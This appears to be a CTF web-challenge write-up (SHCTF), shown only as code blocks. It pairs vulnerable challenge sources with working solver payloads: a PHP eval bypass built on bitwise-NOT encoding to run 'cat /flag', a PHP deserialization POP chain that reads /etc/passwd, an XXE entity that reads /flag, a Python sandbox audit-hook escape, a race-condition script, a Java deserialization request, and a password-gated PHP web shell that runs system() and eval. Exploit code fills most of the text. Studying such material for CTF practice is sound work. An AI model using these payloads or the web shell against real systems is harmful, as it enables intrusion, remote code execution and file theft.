1
#!/bin/sh
2
set -e
3

4
if [ "$A1CTF_FLAG" ]; then
5
    INSERT_FLAG="$A1CTF_FLAG"
6
    unset A1CTF_FLAG
7
elif [ "$SHCTF_FLAG" ]; then
8
    INSERT_FLAG="$SHCTF_FLAG"
9
    unset SHCTF_FLAG
10
elif [ "$GZCTF_FLAG" ]; then
11
    INSERT_FLAG="$GZCTF_FLAG"
12
    unset GZCTF_FLAG
13
elif [ "$FLAG" ]; then
14
    INSERT_FLAG="$FLAG"
15
    unset FLAG
16
else
17
    INSERT_FLAG="SHCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}"
18
fi
19

20
echo "[*] Starting MySQL..."
21
if [ -x /etc/init.d/mysql ]; then
22
  /etc/init.d/mysql start
23
else
24
  mysqld_safe --skip-networking &
25
  sleep 5
26
fi
27

28
echo "[*] Waiting for MySQL..."
29
for i in $(seq 1 30); do
30
  if mysqladmin ping --silent; then break; fi
31
  sleep 1
32
done
33

34
# 设置 root 密码
35
mysql -uroot -e "ALTER USER 'root'@'localhost' IDENTIFIED BY '060520';" || true
36

37
echo "[*] Init Database..."
38
# 导入 SQL 结构
39
mysql -uroot -p060520 < /docker-init/db.sql
40

41
# 【重要】将环境变量中的真正的 Flag 写入数据库
42
echo "[*] Inserting Flag..."
43
mysql -uroot -p060520 archive_db -e "UPDATE secret_vault SET secret_key='$INSERT_FLAG' WHERE id=1;"
44

45
# 启动 PHP 和 Nginx
46
echo "[*] Starting Services..."
47
php-fpm -D || true
48
nginx -g 'daemon off;'

1
<?php
2
// 国王并没用直接爆出flag，而是出现了别的东西？？？
3
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
4
    if (isset($_POST['result']) && $_POST['result'] === 'win') {
5
        highlight_file(__FILE__);
6
        if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
7
            $who = (String)$_GET['who'];
8
            $are = (String)$_GET['are'];
9
            $you = (String)$_GET['you'];
10

11
            if(is_numeric($who) && is_numeric($are)){
12
                if(preg_match('/^\W+$/', $you)){
13
                    $code =  eval("return $who$you$are;");
14
                    echo "$who$you$are = ".$code;
15
                }
16
            }
17
        }
18
    } else {
19
        echo "Invalid result.";
20
    }
21
} else {
22
    echo "No access.";
23
}
24
?>

1
<?php
2
echo "who=1&you=|(~" . urlencode(~"system") . ")(~" . urlencode(~"cat /flag") . ")|&are=1";
3
# who=1&you=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98)|&are=1

1
const express = require('express');
2
const app = express();
3
const port = 5000;
4

5
app.use(express.json());
6

7

8
const WAF = (recipe) => {
9
    const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
10
    if (ALLOW_CHARS.test(recipe)) {
11
        return true;
12
    }
13
    return false;
14
};
15

16

17
function calc(operator) {
18
    return eval(operator);
19
}
20

21
app.get('/', (req, res) => {
22
    res.sendFile(__dirname + '/index.html');
23
});
24

25

26
app.post('/calc', (req, res) => {
27
    const { expr } = req.body;
28
    console.log(expr);
29
    if(WAF(expr)){
30
        var result = calc(expr);
31
        res.json({ result });
32
    }else{
33
        res.json({"result":"WAF"});
34
    }
35
});
36

37

38
app.listen(port, () => {
39
    console.log(`Server running on port ${port}`);
40
});

1
<?php
2

3
highlight_file(__FILE__);
4
error_reporting(0);
5

6
class Sun{
7
    public $sun;
8
    public function __destruct(){
9
        die("Maybe you should fly to the ".$this->sun);
10
    }
11
}
12

13
class Solar{
14
    private $Sun;
15
    public $Mercury;
16
    public $Venus;
17
    public $Earth;
18
    public $Mars;
19
    public $Jupiter;
20
    public $Saturn;
21
    public $Uranus;
22
    public $Neptune;
23
    public function __set($name,$key){
24
        $this->Mars = $key;
25
        $Dyson = $this->Mercury;
26
        $Sphere = $this->Venus;
27
        $Dyson->$Sphere($this->Mars);
28
    }
29
    public function __call($func,$args){
30
        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
31
            $exploar = new $func($args[0]);
32
            $road = $this->Jupiter;
33
            $exploar->$road($this->Saturn);
34
        }
35
        else{
36
            die("Black hole");
37
        }
38
    }
39
}
40

41
class Moon{
42
    public $nearside;
43
    public $farside;
44
    public function __tostring(){
45
        $starship = $this->nearside;
46
        $starship();
47
        return '';
48
    }
49
}
50

51
class Earth{
52
    public $onearth;
53
    public $inearth;
54
    public $outofearth;
55
    public function __invoke(){
56
        $oe = $this->onearth;
57
        $ie = $this->inearth;
58
        $ote = $this->outofearth;
59
        $oe->$ie = $ote;
60
    }
61
}
62

63

64

65
if(isset($_POST['travel'])){
66
    $a = unserialize($_POST['travel']);
67
    throw new Exception("How to Travel?");
68
}

1
<?php
2
class Sun {
3
    public $sun;
4
}
5

6
class Moon {
7
    public $nearside;
8
}
9

10
class Earth {
11
    public $onearth;
12
    public $inearth;
13
    public $outofearth;
14
}
15

16
class Solar {
17
    public $Mercury;
18
    public $Venus;
19
    public $Jupiter;
20
    public $Saturn;
21
}
22

23
// Sun::__desturct ->
24
// Moon::__toString ->
25
// Earth::__invoke ->
26
// Solar::__set($name,$key)
27
//   $key = $this->outofearth
28
// ->
29
// Solar::__call($func,$args)
30
//   $func = $Dyson->$Sphere = $this->Mercury->$this->Venus;
31
//   $args = $this->Mars = $key
32
// ->
33
// $exploar = new $func($args[0]);
34
// $road = $this->Jupiter;
35
// $exploar->$road($this->Saturn);
36

37
$payload = new Sun();
38
$payload->sun = new Moon();
39
$payload->sun->nearside = new Earth();
40
$payload->sun->nearside->onearth = new Solar();
41
$payload->sun->nearside->inearth = "none";
42
$payload->sun->nearside->outofearth = "readfile";
43
$payload->sun->nearside->onearth->Mercury = new Solar();
44
$payload->sun->nearside->onearth->Venus = "ReflectionFunction";
45
$payload->sun->nearside->onearth->Mercury->Jupiter = "invoke";
46
$payload->sun->nearside->onearth->Mercury->Saturn = "/etc/passwd";
47

48

49
echo serialize($payload);
50
?>

1
echo 'a:2:{i:0;' . serialize($payload) . 'i:0;i:1;}';

1
<?php
2

3
if (isset($_GET['show'])) {
4
    highlight_file(__FILE__);
5
}
6

7
$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';
8

9
if (isset($_POST['key']) && md5($_POST['key']) === $pass) {
10
    if (isset($_POST['cmd'])) {
11
        system($_POST['cmd']);
12
    } elseif (isset($_POST['code'])) {
13
        eval($_POST['code']);
14
    }
15
} else {
16
    http_response_code(404);
17
}

1
<?php
2
include 'connect.php';
3

4
$my_money = 3.00;
5
$msg = "";
6
$target_id = 0;
7

8
if (isset($_POST['buy']) && isset($_POST['item_id'])) {
9
    $target_id = (int)$_POST['item_id'];
10

11
    if ($target_id > 0) {
12
        try {
13
            $stmt = $pdo->prepare("CALL buy_item(?, ?)");
14
            $stmt->execute([$target_id, $my_money]);
15
            $res = $stmt->fetch();
16
            $msg = $res['final_message'];
17
            $my_money -= $res['current_price'];
18
        } catch (Exception $e) {
19
            $msg = "Transaction Error: " . $e->getMessage();
20
        }
21
    } else {
22
        $msg = "Invalid item selected.";
23
    }
24
} else {
25
    try {
26
        $stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");
27
        if ($stmt === false) {
28
            exit;
29
        }
30
        $goods_list = $stmt->fetchAll();
31
    } catch (Exception $e) {
32
        die("Error fetching goods list.");
33
    }
34
}

1
{
2
  "username": "guest",
3
  "role": "guest",
4
  "message": "Access denied. Only role='admin' can view the flag."
5
}

1
{
2
  "role": "admin"
3
}

1
{
2
    "error": "🚫 WAF Security Alert: 'admin' value is strictly forbidden in 'role' field!"
3
}

1
{
2
    "Role": "admin"
3
}

1
<?xml version="1.0" encoding="UTF-8"?>
2
<post>
3
    <title>123</title>
4
    <content>123</content>
5
</post>

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE note [
3
  <!ENTITY xxe SYSTEM "file:///flag">
4
]>
5
<post>
6
  <title>&xxe;</title>
7
  <content>XXE</content>
8
</post>

1
    def form_valid(self, form):
2
        amount = form.cleaned_data["amount"]
3
        with transaction.atomic():
4
            time.sleep(1.0)
5
            user = models.User.objects.get(pk=self.request.user.pk)
6
            if user.money >= amount:
7
                user.money = F('money') - amount
8
                user.save()
9
                models.WithdrawLog.objects.create(user=user, amount=amount)
10

11
        user.refresh_from_db()
12
        if user.money < 0:
13
            return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
14

15
        return redirect(self.get_success_url())

1
import requests
2
import threading
3
import re
4

5
URL: str = "http://challenge.shc.tf:31301"
6

7
COOKIES: dict[str, str] = {
8
    "sessionid": "5s8jbubxrjamavcvy53r9dfhgrqn2uvb",
9
    "csrftoken": "ta6UqD8PHRlRfYgmKkD2upwKGBzvKmgt"
10
}
11

12
DATA: dict[str, str] = {
13
    "amount": 10,
14
    "csrfmiddlewaretoken": "1jZpWo6xPMHslmXCQCPquxAFkgarj5gckjV9cR4cmtS9qa3OqMiiOMWfQHzMThmv"
15
}
16

17
def attack(debug=False):
18
    response = requests.post(URL+"/withdraw",
19
        data = DATA,
20
        cookies = COOKIES,
21
    )
22
    html = response.text
23
    print(f"[+] Status: {response.status_code}, Response Length: {len(html)}")
24
    if "SHCTF{" in response.text: print(f"[!] Found flag: {re.search(r'SHCTF\{.*\}', response.text)[0]}")
25
    if debug: print(f"[+] Response: {html}")
26

27
t1 = threading.Thread(target=attack)
28
t2 = threading.Thread(target=attack)
29

30
t1.start()
31
t2.start()
32

33
t1.join()
34
t2.join()
35

36
# attack(debug=True)

1
from flask import Flask, render_template_string, request, jsonify
2
import subprocess
3
import tempfile
4
import os
5
import sys
6

7
app = Flask(__name__)
8

9
@app.route('/')
10
def index():
11
    file_name = request.args.get('file', 'pages/index.html')
12
    try:
13
        with open(file_name, 'r', encoding='utf-8') as f:
14
            content = f.read()
15
    except Exception as e:
16
        with open('pages/index.html', 'r', encoding='utf-8') as f:
17
            content = f.read()
18

19
    return render_template_string(content)
20

21
def waf(code):
22
    blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', "'", '"']
23
    for keyword in blacklisted_keywords:
24
        if keyword in code:
25
            return False
26
    return True
27

28
@app.route('/execute', methods=['POST'])
29
def execute_code():
30
    code = request.json.get('code', '')
31

32
    if not code:
33
        return jsonify({'error': '请输入Python代码'})
34

35
    if not waf(code):
36
        return jsonify({'error': 'Hacker!'})
37

38
    try:
39
        with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
40
            f.write(f"""import sys
41

42
sys.modules['os'] = 'not allowed'
43

44
def is_my_love_event(event_name):
45
    return event_name.startswith("Nothing is my love but you.")
46

47
def my_audit_hook(event_name, arg):
48
    if len(event_name) > 0:
49
        raise RuntimeError("Too long event name!")
50
    if len(arg) > 0:
51
        raise RuntimeError("Too long arg!")
52
    if not is_my_love_event(event_name):
53
        raise RuntimeError("Hacker out!")
54

55
__import__('sys').addaudithook(my_audit_hook)
56

57
{code}""")
58
            temp_file_name = f.name
59

60
        result = subprocess.run(
61
            [sys.executable, temp_file_name],
62
            capture_output=True,
63
            text=True,
64
            timeout=10
65
        )
66

67
        os.unlink(temp_file_name)
68

69
        return jsonify({
70
            'stdout': result.stdout,
71
            'stderr': result.stderr
72
        })
73

74
    except subprocess.TimeoutExpired:
75
        return jsonify({'error': '代码执行超时（超过10秒）'})
76
    except Exception as e:
77
        return jsonify({'error': f'执行出错: {str(e)}'})
78
    finally:
79
        if os.path.exists(temp_file_name):
80
            os.unlink(temp_file_name)
81

82
if __name__ == '__main__':
83
    app.run(debug=True)

1
print(ｓｙｓ.modules)

1
{
2
    'sys': <module 'sys' (built-in)>,
3
    'builtins': <module 'builtins' (built-in)>,
4
    '_frozen_importlib': <module '_frozen_importlib' (frozen)>,
5
    '_imp': <module '_imp' (built-in)>,
6
    '_thread': <module '_thread' (built-in)>,
7
    '_warnings': <module '_warnings' (built-in)>,
8
    '_weakref': <module '_weakref' (built-in)>,
9
    '_io': <module '_io' (built-in)>,
10
    'marshal': <module 'marshal' (built-in)>,
11
    'posix': <module 'posix' (built-in)>,
12
    '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>,
13
    'time': <module 'time' (built-in)>,
14
    'zipimport': <module 'zipimport' (frozen)>,
15
    '_codecs': <module '_codecs' (built-in)>,
16
    'codecs': <module 'codecs' (frozen)>,
17
    'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>,
18
    'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>,
19
    'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>,
20
    '_signal': <module '_signal' (built-in)>,
21
    '_abc': <module '_abc' (built-in)>,
22
    'abc': <module 'abc' (frozen)>,
23
    'io': <module 'io' (frozen)>,
24
    '__main__': <module '__main__' from '/tmp/tmp7ysmi_p1.py'>,
25
    '_stat': <module '_stat' (built-in)>,
26
    'stat': <module 'stat' (frozen)>,
27
    '_collections_abc': <module '_collections_abc' (frozen)>,
28
    'genericpath': <module 'genericpath' (frozen)>,
29
    'posixpath': <module 'posixpath' (frozen)>,
30
    'os.path': <module 'posixpath' (frozen)>,
31
    'os': 'not allowed',
32
    '_sitebuiltins': <module '_sitebuiltins' (frozen)>,
33
    'site': <module 'site' (frozen)>,
34
    'unicodedata': <module 'unicodedata' from '/usr/local/lib/python3.12/lib-dynload/unicodedata.cpython-312-x86_64-linux-musl.so'>
35
}

1
M = ｓｙｓ.modules
2
P = M[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)] # posix
3

4
try: P.listdir()
5
except Exception as e: print(e)

1
M = ｓｙｓ.modules
2
B = M[chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)] # 'builtins'
3
G = B.getattr
4

5
MainName = chr(95)+chr(95)+chr(109)+chr(97)+chr(105)+chr(110)+chr(95)+chr(95) # '__main__'
6
DictName = chr(95)+chr(95)+chr(100)+chr(105)+chr(99)+chr(116)+chr(95)+chr(95) # '__dict__'
7

8
MainMod = M[MainName]
9

10
try: print(G(MainMod, DictName))
11
except Exception as e: print(e)

1
{
2
    '__name__': '__main__',
3
    '__doc__': None,
4
    '__package__': None,
5
    '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f177112ab40>,
6
    '__spec__': None,
7
    '__annotations__': {},
8
    '__builtins__': <module 'builtins' (built-in)>,
9
    '__file__': '/tmp/tmpfxgm71qm.py',
10
    '__cached__': None,
11
    'sys': <module 'sys' (built-in)>,
12
    'is_my_love_event': <function is_my_love_event at 0x7f17713faac0>,
13
    'my_audit_hook': <function my_audit_hook at 0x7f1771165580>,
14
    'M': { ... },
15
    'B': <module 'builtins' (built-in)>,
16
    'G': <built-in function getattr>,
17
    'MainName': '__main__',
18
    'DictName': '__dict__',
19
    'MainMod': <module '__main__' from '/tmp/tmpfxgm71qm.py'>
20
}

1
M = ｓｙｓ.modules
2
B = M[chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)]
3
G = B.getattr
4
S = B.setattr
5

6
MainName = chr(95)+chr(95)+chr(109)+chr(97)+chr(105)+chr(110)+chr(95)+chr(95)
7
MainMod = M[MainName]
8

9
LenName = chr(108)+chr(101)+chr(110)　# len
10
S(MainMod, LenName, lambda x: 0)
11

12
CheckName = chr(105)+chr(115)+chr(95)+chr(109)+chr(121)+chr(95)+chr(108)+chr(111)+chr(118)+chr(101)+chr(95)+chr(101)+chr(118)+chr(101)+chr(110)+chr(116) # is_my_love_event
13
S(MainMod, CheckName, lambda x: True)
14

15
P = M[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)] # posix
16

17
try: print(P.listdir(chr(47))) # /
18
except Exception as e: print(e)

1
['bin', 'dev', 'etc', 'home', 'lib', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'flag', 'read_flag', 'app']

1
public void handle(HttpExchange exchange) throws IOException {
2
    String method = exchange.getRequestMethod();
3
    String path = exchange.getRequestURI().getPath();
4

5
    if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) {
6
        try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
7
            Object obj = ois.readObject();
8
            if (obj instanceof Note) {
9
                Note note = (Note) obj;
10
                if (note.getFilePath() != null) {
11
                    echo(readFile(note.getFilePath()));
12
                }
13
            }
14
        } catch (Exception e) {}
15
    }
16
}

1
import java.io.ByteArrayOutputStream;
2
import java.io.ObjectOutputStream;
3
import java.io.Serializable;
4

5
import java.net.URI;
6
import java.net.http.HttpClient;
7
import java.net.http.HttpRequest;
8
import java.net.http.HttpResponse;
9

10
public class Note implements Serializable {
11
    private static final long serialVersionUID = 1L;
12

13
    private String title;
14
    private String message;
15
    private String filePath;
16

17
    public Note(String title, String message, String filePath) {
18
        this.title = title;
19
        this.message = message;
20
        this.filePath = filePath;
21
    }
22

23
    public String getTitle() {
24
        return title;
25
    }
26

27
    public String getMessage() {
28
        return message;
29
    }
30

31
    public String getFilePath() {
32
        return filePath;
33
    }
34

35
    public static void main(String[] args) throws Exception {
36
        Note payload = new Note("", "", "/flag");
37
        String URL = "http://challenge.shc.tf:31372/upload";
38

39
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
40
        ObjectOutputStream oos = new ObjectOutputStream(baos);
41
        oos.writeObject(payload);
42
        byte[] serializedData = baos.toByteArray();
43

44
        // 使用 HttpClient 发送 POST 请求
45
        HttpClient client = HttpClient.newHttpClient();
46
        HttpRequest request = HttpRequest.newBuilder()
47
                .uri(URI.create(URL))
48
                .header("Content-Type", "application/octet-stream")
49
                .POST(HttpRequest.BodyPublishers.ofByteArray(serializedData))
50
                .build();
51

52
        HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
53

54
        System.out.println(response.body());
55
    }
56
}